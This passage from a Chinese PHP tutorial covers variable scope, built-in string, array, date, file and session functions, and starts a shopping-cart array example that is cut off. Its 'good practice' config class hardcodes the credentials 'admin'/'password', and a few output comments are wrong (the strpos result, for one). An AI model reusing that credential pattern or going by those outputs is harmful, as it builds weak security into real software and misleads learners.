    global $database_host, $database_name, $database_user, $database_pass;
    // 连接数据库...
}

// 好的做法:使用配置类或静态变量
class DatabaseConfig {
    private static $config = [
        'host' => 'localhost',
        'name' => 'myapp',
        'user' => 'admin',
        'password' => 'password'
    ];

    public static function get($key) {
        return self::$config[$key] ?? null;
    }
}

function connectDBBetter() {
    $host = DatabaseConfig::get('host');
    $name = DatabaseConfig::get('name');
    // 连接数据库...
}
?>

2. 合理使用静态变量

<?php
// 好的做法:使用静态变量实现缓存
function getCachedData($key) {
    static $cache = [];
    static $cacheTimeout = 300; // 5分钟

    $now = time();

    // 检查缓存是否存在且未过期
    if (isset($cache[$key]) && ($now - $cache[$key]['timestamp']) < $cacheTimeout) {
        return $cache[$key]['data'];
    }

    // 获取新数据(模拟)
    $data = fetchFromDatabase($key);

    // 存入缓存
    $cache[$key] = [
        'data' => $data,
        'timestamp' => $now
    ];

    return $data;
}

function fetchFromDatabase($key) {
    // 模拟数据库查询
    return "数据_$key_" . date('Y-m-d H:i:s');
}
?>

3. 明确变量的作用域

<?php
// 好的做法:明确声明全局变量
function processData() {
    global $logger;  // 明确声明使用全局变量
    $logger->log('开始处理数据');

    // 处理逻辑...

    $logger->log('数据处理完成');
}

// 更好的做法:通过参数传递
function processDataBetter(Logger $logger) {
    $logger->log('开始处理数据');

    // 处理逻辑...

    $logger->log('数据处理完成');
}
?>

常见错误和解决方案

1. 函数内部访问全局变量失败

<?php
// 错误示例
$config = ['debug' => true];

function debugMode() {
    if ($config['debug']) {  // 错误:无法访问全局变量
        echo "调试模式开启";
    }
}

// 解决方案1:使用global关键字
function debugModeFixed1() {
    global $config;
    if ($config['debug']) {
        echo "调试模式开启";
    }
}

// 解决方案2:使用$GLOBALS
function debugModeFixed2() {
    if ($GLOBALS['config']['debug']) {
        echo "调试模式开启";
    }
}

// 解决方案3:通过参数传递(推荐)
function debugModeFixed3($config) {
    if ($config['debug']) {
        echo "调试模式开启";
    }
}
?>

2. 静态变量初始化问题

<?php
// 错误:静态变量不能使用表达式初始化
function badExample() {
    // static $config = getConfig();  // 错误
    // static $time = time();         // 错误
}

// 正确做法
function goodExample() {
    static $config = null;
    static $initialized = false;

    if (!$initialized) {
        $config = getConfig();  // 延迟初始化
        $initialized = true;
    }

    return $config;
}

function getConfig() {
    return ['debug' => true];
}
?>

3. 变量作用域混淆

<?php
$name = '全局变量';

function testScope() {
    $name = '局部变量';
    echo "函数内部:$name<br>";  // 输出:局部变量
}

testScope();
echo "函数外部:$name<br>";  // 输出:全局变量

// 使用global关键字修改全局变量
function modifyGlobal() {
    global $name;
    $name = '修改后的全局变量';
}

modifyGlobal();
echo "修改后:$name<br>";  // 输出:修改后的全局变量
?>

练习题

基础练习

  1. 变量作用域测试

    <?php
    $globalVar = "全局变量";
    
    function testScope() {
        $localVar = "局部变量";
        // 尝试访问和修改全局变量
        // 输出不同作用域的变量
    }
    
    // 你的代码
    
    testScope();
    ?>
    
  2. 静态计数器

    <?php
    // 创建一个函数,使用静态变量记录调用次数
    function callCounter() {
        // 你的代码
    }
    
    // 测试多次调用
    ?>
    
  3. 全局变量访问

    <?php
    $config = ['app_name' => 'MyApp', 'version' => '1.0'];
    
    function getConfig($key) {
        // 使用global或$GLOBALS访问全局配置
        // 你的代码
    }
    
    echo getConfig('app_name');
    ?>
    

进阶练习

  1. 缓存系统

    <?php
    class SimpleCache {
        // 使用静态变量实现缓存
        public static function get($key) {
            // 你的代码
        }
    
        public static function set($key, $value, $ttl = 3600) {
            // 你的代码
        }
    }
    
    // 测试缓存功能
    ?>
    
  2. 配置管理器

    <?php
    class Config {
        private static $config = [];
    
        public static function load($file) {
            // 从文件加载配置
        }
    
        public static function get($key, $default = null) {
            // 获取配置值
        }
    
        public static function set($key, $value) {
            // 设置配置值
        }
    }
    
    // 实现配置管理器
    ?>
    

实战练习

  1. 用户会话管理

    <?php
    class SessionManager {
        private static $session = [];
    
        public static function login($username, $password) {
            // 实现登录逻辑
        }
    
        public static function logout() {
            // 实现登出逻辑
        }
    
        public static function isLoggedIn() {
            // 检查登录状态
        }
    
        public static function getCurrentUser() {
            // 获取当前用户
        }
    }
    
    // 创建完整的会话管理系统
    ?>
    
  2. 性能监控器

    <?php
    class PerformanceProfiler {
        private static $profiles = [];
    
        public static function start($name) {
            // 开始性能分析
        }
    
        public static function end($name) {
            // 结束性能分析
        }
    
        public static function getReport() {
            // 生成性能报告
        }
    }
    
    // 创建性能分析器并测试
    ?>
    

总结

变量作用域是PHP编程中的重要概念,掌握不同作用域的特点和使用方法对于编写高质量的代码至关重要。通过本章的学习,你应该能够:

  1. 理解局部、全局、静态作用域的区别
  2. 正确使用 global 关键字和 $GLOBALS 数组
  3. 合理运用静态变量实现缓存和状态保持
  4. 了解超全局变量的使用场景
  5. 避免常见的变量作用域错误
  6. 在实际项目中应用最佳实践

记住,合理使用变量作用域可以让代码更加清晰、安全和可维护。在实际开发中,要尽量避免过度使用全局变量,优先考虑参数传递和静态变量的使用。

下一章我们将学习PHP内置函数,了解如何利用PHP提供的强大函数库来提高开发效率。

内置函数

PHP 提供了大量的内置函数,这些函数可以帮助我们快速完成各种任务,而无需重新编写代码。掌握常用的内置函数将大大提高你的开发效率。

什么是内置函数

内置函数是 PHP 已经预先定义好的函数,我们可以直接调用它们来完成特定的功能。这些函数涵盖了字符串处理、数学计算、数组操作、文件处理、日期时间处理等各个方面。

字符串处理函数

字符串处理是 Web 开发中最常见的任务之一。PHP 提供了丰富的字符串处理函数。

1. 字符串长度计算

<?php
// strlen() - 计算字符串的长度(字节数)
$text = "Hello World";
$length = strlen($text);
echo $length; // 输出:11

// 中文字符要注意,一个中文字符通常占用3个字节(UTF-8编码)
$chinese = "你好世界";
$chinese_length = strlen($chinese);
echo $chinese_length; // 输出:12(4个中文字符×3字节)

// 如果要计算中文字符数量,可以使用 mb_strlen()
$chinese_count = mb_strlen($chinese, 'UTF-8');
echo $chinese_count; // 输出:4
?>

2. 字符串大小写转换

<?php
// strtolower() - 将字符串转换为小写
$text = "Hello WORLD";
$lower = strtolower($text);
echo $lower; // 输出:hello world

// strtoupper() - 将字符串转换为大写
$upper = strtoupper($text);
echo $upper; // 输出:HELLO WORLD

// ucfirst() - 将字符串的首字母转换为大写
$sentence = "hello php";
$capitalized = ucfirst($sentence);
echo $capitalized; // 输出:Hello php

// ucwords() - 将字符串中每个单词的首字母转换为大写
$title = "welcome to php world";
$title_case = ucwords($title);
echo $title_case; // 输出:Welcome To Php World
?>

3. 字符串查找和替换

<?php
// strpos() - 查找字符串在另一个字符串中首次出现的位置
$text = "Hello, welcome to the world of PHP";
$position = strpos($text, "world");
echo $position; // 输出:25

// 检查字符串是否存在
if (strpos($text, "PHP") !== false) {
    echo "找到了PHP!";
}

// str_replace() - 字符串替换
$sentence = "I love apples, apples are delicious!";
$new_sentence = str_replace("apples", "oranges", $sentence);
echo $new_sentence; // 输出:I love oranges, oranges are delicious!

// 替换多个值
$text = "The quick brown fox jumps over the lazy dog";
$replacements = array(
    "quick" => "slow",
    "brown" => "white",
    "fox" => "rabbit"
);
$new_text = str_replace(array_keys($replacements), array_values($replacements), $text);
echo $new_text; // 输出:The slow white rabbit jumps over the lazy dog
?>

4. 字符串截取和分割

<?php
// substr() - 截取字符串
$text = "Hello, World!";
$substring = substr($text, 0, 5);
echo $substring; // 输出:Hello

// 从指定位置截取到末尾
$substring2 = substr($text, 7);
echo $substring2; // 输出:World!

// 负数表示从末尾开始
$last5 = substr($text, -5);
echo $last5; // 输出:orld!

// explode() - 将字符串分割成数组
$fruits = "apple,banana,orange,grape";
$fruit_array = explode(",", $fruits);
print_r($fruit_array);
// 输出:Array ( [0] => apple [1] => banana [2] => orange [3] => grape )

// implode() - 将数组连接成字符串
$array = array('Hello', 'World', 'PHP');
$string = implode(" ", $array);
echo $string; // 输出:Hello World PHP

// 使用不同的分隔符
$string2 = implode("-", $array);
echo $string2; // 输出:Hello-World-PHP
?>

5. 字符串清理和格式化

<?php
// trim() - 去除字符串两端的空白字符
$text = "   Hello World   ";
$cleaned = trim($text);
echo $cleaned; // 输出:Hello World

// ltrim() - 去除左端空白
$left_trimmed = ltrim($text);
// rtrim() - 去除右端空白
$right_trimmed = rtrim($text);

// strip_tags() - 去除 HTML 和 PHP 标签
$html = "<p>Hello <b>World</b>!</p>";
$plain_text = strip_tags($html);
echo $plain_text; // 输出:Hello World!

// 允许某些标签
$partial_html = strip_tags($html, "<b>");
echo $partial_html; // 输出:Hello <b>World</b>!

// htmlspecialchars() - 将特殊字符转换为 HTML 实体
$user_input = '<script>alert("XSS Attack");</script>';
$safe_output = htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8');
echo $safe_output;
// 输出:&lt;script&gt;alert(&quot;XSS Attack&quot;);&lt;/script&gt;
?>

6. 字符串格式化

<?php
// printf() - 格式化输出字符串
$name = "张三";
$age = 25;
$height = 1.75;

printf("姓名:%s,年龄:%d岁,身高:%.2f米", $name, $age, $height);
// 输出:姓名:张三,年龄:25岁,身高:1.75米

// sprintf() - 返回格式化的字符串
$formatted = sprintf("产品:%s,价格:¥%.2f", "iPhone", 5999.00);
echo $formatted; // 输出:产品:iPhone,价格:¥5999.00

// number_format() - 格式化数字
$price = 1234567.89;
$formatted_price = number_format($price, 2, '.', ',');
echo $formatted_price; // 输出:1,234,567.89

// str_pad() - 填充字符串到指定长度
$product = "苹果";
$padded = str_pad($product, 10, " ", STR_PAD_RIGHT);
echo $padded; // 输出:"苹果        "(后面有8个空格)
?>

数组函数

数组是 PHP 中最重要的数据结构之一,PHP 提供了大量的数组操作函数。

1. 数组基本操作

<?php
// count() - 计算数组元素数量
$fruits = array("apple", "banana", "orange");
$element_count = count($fruits);
echo $element_count; // 输出:3

// is_array() - 检查变量是否为数组
$not_array = "hello";
if (is_array($fruits)) {
    echo "fruits 是一个数组";
}

// in_array() - 检查值是否在数组中
if (in_array("apple", $fruits)) {
    echo "找到了苹果!";
}

// array_key_exists() - 检查键是否存在
$person = array(
    "name" => "张三",
    "age" => 25,
    "city" => "北京"
);

if (array_key_exists("age", $person)) {
    echo "存在 age 键";
}

// array_keys() - 获取数组的所有键
$keys = array_keys($person);
print_r($keys); // 输出:Array ( [0] => name [1] => age [2] => city )

// array_values() - 获取数组的所有值
$values = array_values($person);
print_r($values); // 输出:Array ( [0] => 张三 [1] => 25 [2] => 北京 )
?>

2. 数组添加和删除

<?php
// array_push() - 向数组末尾添加一个或多个元素
$numbers = array(1, 2, 3);
array_push($numbers, 4, 5);
print_r($numbers); // 输出:Array ( [0] => 1 [1] => 2 [2] => 3 [3] => 4 [4] => 5 )

// array_pop() - 删除数组末尾的元素
$last = array_pop($numbers);
echo $last; // 输出:5

// array_shift() - 删除数组开头的元素
$first = array_shift($numbers);
echo $first; // 输出:1

// array_unshift() - 在数组开头添加一个或多个元素
array_unshift($numbers, 0);
print_r($numbers); // 输出:Array ( [0] => 0 [1] => 2 [2] => 3 [3] => 4 )

// unset() - 删除指定的数组元素
$colors = array("red", "green", "blue", "yellow");
unset($colors[1]); // 删除 "green"
print_r($colors); // 输出:Array ( [0] => red [2] => blue [3] => yellow )
?>

3. 数组排序

<?php
// sort() - 对数组进行升序排序(索引重新分配)
$numbers = array(4, 2, 8, 1, 5);
sort($numbers);
print_r($numbers); // 输出:Array ( [0] => 1 [1] => 2 [2] => 4 [3] => 5 [4] => 8 )

// rsort() - 对数组进行降序排序
rsort($numbers);
print_r($numbers); // 输出:Array ( [0] => 8 [1] => 5 [2] => 4 [3] => 2 [4] => 1 )

// asort() - 对关联数组按值进行升序排序(保持键值关系)
$person_ages = array(
    "张三" => 25,
    "李四" => 30,
    "王五" => 20
);
asort($person_ages);
print_r($person_ages);
// 输出:Array ( [王五] => 20 [张三] => 25 [李四] => 30 )

// ksort() - 对关联数组按键进行升序排序
ksort($person_ages);
print_r($person_ages);
// 输出:Array ( [张三] => 25 [李四] => 30 [王五] => 20 )

// array_reverse() - 反转数组
$reversed = array_reverse($numbers);
print_r($reversed);
?>

4. 数组合并与分割

<?php
// array_merge() - 合并一个或多个数组
$array1 = array("red", "green");
$array2 = array("blue", "yellow");
$merged = array_merge($array1, $array2);
print_r($merged); // 输出:Array ( [0] => red [1] => green [2] => blue [3] => yellow )

// 合并关联数组
$person1 = array("name" => "张三", "age" => 25);
$person2 = array("city" => "北京", "job" => "工程师");
$merged_person = array_merge($person1, $person2);
print_r($merged_person);
// 输出:Array ( [name] => 张三 [age] => 25 [city] => 北京 [job] => 工程师 )

// array_slice() - 从数组中取出一段
$colors = array("red", "green", "blue", "yellow", "purple");
$slice = array_slice($colors, 1, 3);
print_r($slice); // 输出:Array ( [0] => green [1] => blue [2] => yellow )

// array_chunk() - 将数组分割成多个块
$numbers = array(1, 2, 3, 4, 5, 6, 7, 8);
$chunks = array_chunk($numbers, 3);
print_r($chunks);
/*
输出:
Array (
    [0] => Array ( [0] => 1 [1] => 2 [2] => 3 )
    [1] => Array ( [0] => 4 [1] => 5 [2] => 6 )
    [2] => Array ( [0] => 7 [1] => 8 )
)
*/
?>

5. 数组搜索和过滤

<?php
// array_search() - 在数组中搜索值,返回键名
$fruits = array("a" => "apple", "b" => "banana", "c" => "orange");
$key = array_search("orange", $fruits);
echo $key; // 输出:c

// array_filter() - 用回调函数过滤数组中的元素
$numbers = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
$even_numbers = array_filter($numbers, function($num) {
    return $num % 2 == 0;
});
print_r($even_numbers); // 输出:Array ( [1] => 2 [3] => 4 [5] => 6 [7] => 8 [9] => 10 )

// array_map() - 对数组中的每个元素应用回调函数
$squares = array_map(function($num) {
    return $num * $num;
}, $numbers);
print_r($squares);

// array_unique() - 移除数组中的重复值
$duplicates = array(1, 2, 2, 3, 4, 4, 5);
$unique = array_unique($duplicates);
print_r($unique); // 输出:Array ( [0] => 1 [1] => 2 [3] => 3 [4] => 4 [6] => 5 )
?>

数学函数

PHP 提供了丰富的数学计算函数。

1. 基础数学运算

<?php
// abs() - 绝对值
echo abs(-5); // 输出:5

// round() - 四舍五入
echo round(3.14159, 2); // 输出:3.14

// ceil() - 向上取整
echo ceil(3.2); // 输出:4

// floor() - 向下取整
echo floor(3.8); // 输出:3

// max() - 最大值
echo max(1, 5, 3, 9, 2); // 输出:9

// min() - 最小值
echo min(1, 5, 3, 9, 2); // 输出:1

// rand() - 生成随机数
echo rand(1, 100); // 输出:1到100之间的随机数

// mt_rand() - 更好的随机数生成器
echo mt_rand(1, 100);
?>

2. 高级数学函数

<?php
// pow() - 幂运算
echo pow(2, 3); // 输出:8(2的3次方)

// sqrt() - 平方根
echo sqrt(16); // 输出:4

// number_format() - 格式化数字
$number = 1234567.8912;
echo number_format($number, 2, '.', ','); // 输出:1,234,567.89

// is_numeric() - 检查变量是否为数字或数字字符串
var_dump(is_numeric("123")); // 输出:bool(true)
var_dump(is_numeric("abc")); // 输出:bool(false)

// base_convert() - 在不同进制之间转换
echo base_convert("FF", 16, 10); // 输出:255(十六进制转十进制)
echo base_convert("10", 10, 2);  // 输出:1010(十进制转二进制)
?>

日期和时间函数

处理日期和时间是 Web 开发中的常见需求。

1. 获取当前时间

<?php
// time() - 返回当前的 Unix 时间戳
$timestamp = time();
echo $timestamp; // 输出:当前时间戳

// date() - 格式化本地日期和时间
echo date("Y-m-d H:i:s"); // 输出:2024-01-01 12:30:45

// 常用的日期格式字符
echo date("Y"); // 年份(4位)
echo date("y"); // 年份(2位)
echo date("m"); // 月份(01-12)
echo date("d"); // 日(01-31)
echo date("H"); // 小时(00-23)
echo date("i"); // 分钟(00-59)
echo date("s"); // 秒(00-59)
echo date("l"); // 星期几的完整名称
echo date("F"); // 月份的完整名称

// getdate() - 获取日期/时间信息
$date_info = getdate();
print_r($date_info);
/*
输出:
Array (
    [seconds] => 45
    [minutes] => 30
    [hours] => 12
    [mday] => 1
    [wday] => 1
    [mon] => 1
    [year] => 2024
    [yday] => 0
    [weekday] => Monday
    [month] => January
    [0] => 1704113445
)
*/
?>

2. 日期时间转换

<?php
// strtotime() - 将英文文本的日期时间描述转换为 Unix 时间戳
$timestamp = strtotime("2024-01-01");
echo $timestamp; // 输出:对应的时间戳

$timestamp2 = strtotime("+1 day"); // 明天
$timestamp3 = strtotime("+1 week"); // 一周后
$timestamp4 = strtotime("next Monday"); // 下周一

// mktime() - 取得一个日期的 Unix 时间戳
$custom_timestamp = mktime(12, 30, 45, 1, 1, 2024); // 2024年1月1日 12:30:45
echo date("Y-m-d H:i:s", $custom_timestamp);

// date_create() 和 date_format() - 使用 DateTime 类
$date = date_create("2024-01-01 12:30:45");
echo date_format($date, "Y-m-d H:i:s");

// 计算日期差
$date1 = date_create("2024-01-01");
$date2 = date_create("2024-01-31");
$diff = date_diff($date1, $date2);
echo $diff->days; // 输出:30(天数差)
?>

3. 时区处理

<?php
// 设置时区
date_default_timezone_set("Asia/Shanghai");

// 获取所有可用的时区
// $timezones = DateTimeZone::listIdentifiers();
// print_r($timezones);

// 创建带时区的 DateTime 对象
$date = new DateTime("now", new DateTimeZone("Asia/Shanghai"));
echo $date->format("Y-m-d H:i:s");

// 转换时区
$date->setTimezone(new DateTimeZone("America/New_York"));
echo $date->format("Y-m-d H:i:s");
?>

文件系统函数

文件操作是 Web 开发中的重要功能。

1. 文件基本操作

<?php
// file_exists() - 检查文件或目录是否存在
$filename = "test.txt";
if (file_exists($filename)) {
    echo "文件存在";
} else {
    echo "文件不存在";
}

// is_file() - 判断是否为文件
if (is_file($filename)) {
    echo "这是一个文件";
}

// is_dir() - 判断是否为目录
if (is_dir("images")) {
    echo "这是一个目录";
}

// filesize() - 获取文件大小
$filesize = filesize($filename);
echo "文件大小:" . $filesize . " 字节";

// filemtime() - 获取文件修改时间
$mod_time = filemtime($filename);
echo "最后修改时间:" . date("Y-m-d H:i:s", $mod_time);
?>

2. 文件读写

<?php
// file_get_contents() - 读取整个文件
$content = file_get_contents("test.txt");
echo $content;

// file_put_contents() - 写入文件
$data = "Hello, PHP!";
file_put_contents("output.txt", $data);

// 追加内容
file_put_contents("output.txt", "\nMore content", FILE_APPEND);

// fopen(), fread(), fwrite(), fclose() - 传统文件操作
$handle = fopen("test.txt", "r"); // 只读模式
if ($handle) {
    $content = fread($handle, filesize("test.txt"));
    fclose($handle);
    echo $content;
}

// 写入文件
$handle = fopen("write.txt", "w"); // 写入模式
if ($handle) {
    fwrite($handle, "新的内容");
    fclose($handle);
}

// readfile() - 读取文件并输出到浏览器
// readfile("test.txt");

// fgets() - 逐行读取文件
$handle = fopen("test.txt", "r");
while (($line = fgets($handle)) !== false) {
    echo $line;
}
fclose($handle);
?>

3. 目录操作

<?php
// mkdir() - 创建目录
if (!file_exists("new_folder")) {
    mkdir("new_folder", 0777, true); // 0777是权限,true表示递归创建
}

// rmdir() - 删除空目录
// rmdir("empty_folder");

// scandir() - 列出目录内容
$files = scandir(".");
print_r($files);

// opendir(), readdir(), closedir() - 传统目录遍历
$handle = opendir(".");
if ($handle) {
    while (($file = readdir($handle)) !== false) {
        if ($file != "." && $file != "..") {
            echo $file . "\n";
        }
    }
    closedir($handle);
}

// rename() - 重命名文件或目录
rename("old_name.txt", "new_name.txt");

// copy() - 复制文件
copy("source.txt", "backup.txt");

// unlink() - 删除文件
// unlink("file_to_delete.txt");
?>

常用的实用函数

1. 变量处理函数

<?php
// isset() - 检查变量是否已设置并且非 null
$name = "张三";
if (isset($name)) {
    echo "变量已设置";
}

// empty() - 检查变量是否为空
$var = "";
if (empty($var)) {
    echo "变量为空";
}

// is_null() - 检查变量是否为 null
$var = null;
if (is_null($var)) {
    echo "变量为 null";
}

// unset() - 销毁变量
$test = "hello";
unset($test); // $test 现在未定义

// gettype() - 获取变量的类型
$num = 123;
echo gettype($num); // 输出:integer

// settype() - 设置变量的类型
$str = "123";
settype($str, "integer");
echo gettype($str); // 输出:integer

// var_dump() - 打印变量的类型和值
$array = array("apple", "banana", "orange");
var_dump($array);

// print_r() - 打印变量的易读信息
print_r($array);
?>

2. 输入输出函数

<?php
// echo - 输出一个或多个字符串
echo "Hello World";

// print - 输出一个字符串(返回值始终为1)
print "Hello PHP";

// var_export() - 输出或返回一个变量的字符串表示
$array = array(1, 2, 3);
$representation = var_export($array, true);
echo $representation;

// die() 或 exit() - 输出消息并终止脚本
if ($error_occurred) {
    die("发生错误,程序终止");
}

// printf() - 格式化输出
$name = "张三";
$age = 25;
printf("姓名:%s,年龄:%d岁", $name, $age);
?>

3. HTTP 相关函数

<?php
// header() - 发送原始 HTTP 头
header("Content-Type: text/html; charset=utf-8");
header("Location: https://www.example.com"); // 重定向

// setcookie() - 设置 cookie
setcookie("username", "john", time() + 3600, "/"); // 1小时后过期

// $_COOKIE - 访问 cookie 值
if (isset($_COOKIE["username"])) {
    echo "欢迎回来," . $_COOKIE["username"];
}

// $_GET - 获取 GET 请求参数
if (isset($_GET["id"])) {
    $id = $_GET["id"];
    echo "商品ID:" . $id;
}

// $_POST - 获取 POST 请求参数
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $username = $_POST["username"];
    $password = $_POST["password"];
}

// $_REQUEST - 包含 $_GET、$_POST 和 $_COOKIE 的内容
$name = $_REQUEST["name"]; // 可以从任何请求方法获取

// $_SERVER - 服务器和执行环境信息
echo "当前脚本路径:" . $_SERVER["PHP_SELF"];
echo "服务器IP地址:" . $_SERVER["SERVER_ADDR"];
echo "客户端IP地址:" . $_SERVER["REMOTE_ADDR"];
echo "请求方法:" . $_SERVER["REQUEST_METHOD"];
?>

4. 会话处理函数

<?php
// session_start() - 启动会话
session_start();

// $_SESSION - 访问会话变量
$_SESSION["username"] = "张三";
$_SESSION["login_time"] = time();

// session_destroy() - 销毁会话
// session_destroy();

// session_unset() - 释放所有会话变量
// session_unset();

// 获取会话ID
$session_id = session_id();
echo "会话ID:" . $session_id;
?>

函数使用技巧

1. 函数参数传递

<?php
// 引用传递(在变量前加 &)
function add_prefix(&$string, $prefix) {
    $string = $prefix . $string;
}

$text = "World";
add_prefix($text, "Hello ");
echo $text; // 输出:Hello World

// 默认参数值
function greet($name, $greeting = "Hello") {
    return $greeting . ", " . $name;
}

echo greet("张三"); // 输出:Hello, 张三
echo greet("李四", "Hi"); // 输出:Hi, 李四

// 可变参数数量
function sum(...$numbers) {
    return array_sum($numbers);
}

echo sum(1, 2, 3); // 输出:6
echo sum(1, 2, 3, 4, 5); // 输出:15
?>

2. 回调函数

<?php
// 使用匿名函数作为回调
$numbers = array(1, 2, 3, 4, 5);

$even_numbers = array_filter($numbers, function($num) {
    return $num % 2 == 0;
});

print_r($even_numbers);

// 使用可调用类型
class Calculator {
    public function multiply($x, $y) {
        return $x * $y;
    }
}

$calc = new Calculator();
$result = array_map([$calc, 'multiply'], [1, 2, 3], [4, 5, 6]);
print_r($result); // 输出:Array ( [0] => 4 [1] => 10 [2] => 18 )
?>

3. 函数存在性检查

<?php
// function_exists() - 检查函数是否存在
if (function_exists('curl_init')) {
    echo "cURL 扩展已安装";
} else {
    echo "cURL 扩展未安装";
}

// method_exists() - 检查对象方法是否存在
class MyClass {
    public function test() {
        return "test method";
    }
}

$obj = new MyClass();
if (method_exists($obj, 'test')) {
    echo "test 方法存在";
}

// class_exists() - 检查类是否存在
if (class_exists('DateTime')) {
    $date = new DateTime();
    echo $date->format('Y-m-d');
}
?>

最佳实践

1. 使用内置函数的优点

  1. 性能优化:内置函数通常是用 C 语言实现的,执行速度更快
  2. 代码简洁:避免重复造轮子,代码更加简洁易读
  3. 标准化:使用标准函数,代码更容易维护
  4. 安全性:内置函数通常经过充分测试,更安全可靠

2. 选择合适的函数

<?php
// 选择合适的字符串函数
$text = "   Hello World   ";

// 推荐:使用 trim()
$clean = trim($text);

// 不推荐:手动处理
$clean = preg_replace('/^\s+|\s+$/', '', $text);

// 选择合适的数组函数
$numbers = array(1, 2, 3, 4, 5);

// 推荐:使用 array_sum()
$total = array_sum($numbers);

// 不推荐:手动循环
$total = 0;
foreach ($numbers as $num) {
    $total += $num;
}
?>

3. 函数链式调用

<?php
// 可以将多个函数调用链接起来
$text = "  HELLO WORLD  ";

// 链式调用
$result = trim(strtolower($text));
echo $result; // 输出:hello world

// 组合使用多个函数
$date = "2024-01-01";
$formatted = date("Y年m月d日", strtotime($date));
echo $formatted; // 输出:2024年01月01日
?>

4. 错误处理

<?php
// 使用 @ 抑制错误(谨慎使用)
$file_content = @file_get_contents("nonexistent.txt");

// 检查函数返回值
$content = file_get_contents("test.txt");
if ($content === false) {
    echo "读取文件失败";
} else {
    echo $content;
}

// 使用异常处理
try {
    $date = new DateTime("invalid date");
} catch (Exception $e) {
    echo "日期格式错误:" . $e->getMessage();
}
?>

总结

PHP 的内置函数是强大的工具箱,掌握常用的内置函数可以大大提高开发效率。记住以下几点:

  1. 多查阅文档:PHP 官方文档提供了详细的函数说明和示例
  2. 注重实践:通过实际编程加深对函数的理解
  3. 性能考虑:优先使用内置函数而不是自己实现
  4. 安全第一:处理用户输入时要注意安全过滤
  5. 代码可读性:选择最合适、最易读的函数

随着你的 PHP 学习深入,你会越来越熟悉这些内置函数,并能够灵活运用它们解决各种编程问题。

第5章:数组

数组是PHP中最重要的数据结构之一,它允许我们在一个变量中存储多个值。掌握数组的使用对于PHP编程至关重要,因为数组在Web开发中无处不在,从处理表单数据到数据库结果,从配置文件到复杂数据结构,都离不开数组的应用。

学习目标

通过本章的学习,你将掌握:

  • 理解数组的概念和重要性
  • 掌握索引数组的创建和使用
  • 熟练运用关联数组处理键值对数据
  • 理解和使用多维数组处理复杂数据结构
  • 掌握常用的数组函数进行数据处理
  • 能够在实际项目中灵活运用各种数组操作

本章内容

  1. 索引数组 - 使用数字索引的数组
  2. 关联数组 - 使用字符串键的数组
  3. 多维数组 - 包含其他数组的数组
  4. 常用数组函数 - 内置数组函数详解

为什么数组如此重要?

1. 数据组织的核心

数组是组织和管理数据的理想工具。想象一下,你需要管理一个学生名单:

// 不使用数组,需要为每个学生创建单独的变量
$student1 = "张三";
$student2 = "李四";
$student3 = "王五";
// ... 如果有100个学生怎么办?

// 使用数组,一个变量就能存储所有学生
$students = ["张三", "李四", "王五", "赵六", "钱七"];

2. Web开发的基础

在Web开发中,数组无处不在:

  • 表单数据处理:用户提交的多个选项
  • 数据库查询结果:从数据库获取的多条记录
  • 配置管理:应用的配置选项
  • 会话数据:用户会话中存储的信息

3. 算法实现的基础

许多算法都基于数组实现:

  • 排序算法
  • 搜索算法
  • 数据结构(栈、队列等)

PHP数组的特点

1. 灵活性

PHP数组非常灵活,可以:

  • 存储不同类型的值
  • 动态调整大小
  • 同时使用数字和字符串作为键
$mixedArray = [
    42,                           // 整数
    "Hello",                      // 字符串
    3.14,                         // 浮点数
    true,                         // 布尔值
    ["nested" => "array"]         // 数组
];

2. 高性能

PHP的数组实现(哈希表)提供了优秀的性能:

  • 快速的查找:O(1)平均时间复杂度
  • 高效的插入和删除
  • 内存使用优化

3. 丰富的内置函数

PHP提供了超过80个内置数组函数,涵盖了:

  • 排序和搜索
  • 过滤和映射
  • 合并和拆分
  • 统计和计算

实际应用示例:电商购物车系统

让我们通过一个完整的购物车系统示例来展示数组的强大功能:

<?php
// 购物车类 - 展示数组的综合应用
class ShoppingCart {
    // 购物车商品数组 - 关联数组
    private $items = [];

    // 商品信息数组 - 多维数组
    private $products = [
        101 => [
            'name' => 'iPhone 15',
            'price' => 5999,
            'stock' => 50,
            'category' => '手机'
        ],
        102 => [
            'name' => 'MacBook Pro',
            'price' => 14999,
            'stock' => 20,
            'category' => '笔记本'
        ],
        103 => [
            'name' => 'AirPods Pro',
            'price' => 1999,
            'stock' => 100,
            'category' => '耳机'
        ]
    ];

    // 添加商品到购物车
    public function addItem($productId, $quantity = 1) {
        // 检查商品是否存在
        if (!isset($this->products[$productId])) {
            throw new Exception("商品不存在");
        }

        // 检查库存
        if ($this->products[$productId]['stock'] < $quantity) {
            throw new Exception("库存不足");
        }

        // 添加到购物车 - 使用商品ID作为键
        if (isset($this->items[$productId])) {
            $this->items[$productId]['quantity'] += $quantity;
        } else {
            $this->items[$productId] = [
                'name' => $this->products[$productId]['name'],
                'price' => $this->products[$productId]['price'],
                'quantity' => $quantity,
                'subtotal' => $this->products[$productId]['price'] * $quantity
            ];
        }
    }

    // 移除商品
    public function removeItem($productId) {
        if (isset($this->items[$productId])) {
            unset($this->items[$productId]);
        }
    }

    // 更新商品数量
    public function updateQuantity($productId, $quantity) {
        if (isset($this->items[$productId]) && $quantity > 0) {
            $this->items[$productId]['quantity'] = $quantity;
            $this->items[$productId]['subtotal'] =
                $this->items[$productId]['price'] * $quantity;
        }
    }

    // 获取购物车总价
    public function getTotal() {
        $total = 0;
        foreach ($this->items as $item) {
            $total += $item['subtotal'];
        }
        return $total;
    }

    // 获取购物车商品数量
    public function getItemCount() {
        return count($this->items);
    }

    // 按分类统计商品
    public function getStatsByCategory() {
        $categoryStats = [];

        foreach ($this->items as $productId => $item) {
            $category = $this->products[$productId]['category'];

            if (!isset($categoryStats[$category])) {
                $categoryStats[$category] = [
                    'count' => 0,
                    'total' => 0
                ];
            }

            $categoryStats[$category]['count']++;
            $categoryStats[$category]['total'] += $item['subtotal'];
        }

        return $categoryStats;
    }

    // 获取购物车详情
    public function getCartDetails() {
        return [
            'items' => $this->items,
            'item_count' => $this->getItemCount(),
            'total_amount' => $this->getTotal(),
            'category_stats' => $this->getStatsByCategory()
        ];
    }

    // 清空购物车
    public function clear() {
        $this->items = [];
    }
}

// 使用示例
try {
    $cart = new ShoppingCart();

    // 添加商品
    $cart->addItem(101, 1);        // iPhone 15 x1
    $cart->addItem(103, 2);        // AirPods Pro x2
    $cart->addItem(102, 1);        // MacBook Pro x1

    // 获取购物车详情
